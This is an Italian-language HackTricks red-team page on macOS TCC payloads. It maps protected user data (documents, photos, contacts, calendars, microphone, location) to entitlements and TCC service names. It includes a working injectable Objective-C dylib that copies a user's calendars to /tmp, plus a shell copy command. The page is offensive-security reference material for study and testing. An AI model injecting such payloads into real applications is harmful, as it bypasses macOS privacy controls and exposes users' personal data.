macOS TCC Payloads

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Desktop

  • Autorizzazione: Nessuna

  • TCC: kTCCServiceSystemPolicyDesktopFolder

Copia $HOME/Desktop in /tmp/desktop.

Documenti

  • Entitlement: Nessuno

  • TCC: kTCCServiceSystemPolicyDocumentsFolder

Copia $HOME/Documents in /tmp/documents.

Download

  • Entitlement: Nessuno

  • TCC: kTCCServiceSystemPolicyDownloadsFolder

Copia $HOME/Downloads in /tmp/downloads.

Libreria di foto

  • Entitlement: com.apple.security.personal-information.photos-library

  • TCC: kTCCServicePhotos

Copia $HOME/Pictures/Photos Library.photoslibrary in /tmp/photos.

Contatti

  • Entitlement: com.apple.security.personal-information.addressbook

  • TCC: kTCCServiceAddressBook

Copia $HOME/Library/Application Support/AddressBook in /tmp/contacts.

Calendario

  • Entitlement: com.apple.security.personal-information.calendars

  • TCC: kTCCServiceCalendar

Copia $HOME/Library/Calendars in /tmp/calendars.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
NSString *tmpPhotosPath = @"/tmp/calendars";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Copia $HOME/Library/Calendars in /tmp/calendars.

cp -r "$HOME/Library/Calendars" "/tmp/calendars"

Registra un video di 3 secondi e salvalo in /tmp/recording.mov

Microfono

  • Autorizzazione: com.apple.security.device.audio-input

  • TCC: kTCCServiceMicrophone

Registra 5 secondi di audio e salvalo in /tmp/recording.m4a

Posizione

Perché un'app possa ottenere la posizione, i Servizi di localizzazione (da Privacy e sicurezza) devono essere abilitati, altrimenti non sarà in grado di accedervi.

  • Entitlement: com.apple.security.personal-information.location

  • TCC: Concesso in /var/db/locationd/clients.plist

Scrivi la posizione in /tmp/logs.txt

L'accessibilità è un permesso molto potente, potresti abusarne in altri modi, ad esempio potresti eseguire l'attacco delle keystrokes solo da essa senza dover chiamare System Events.

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated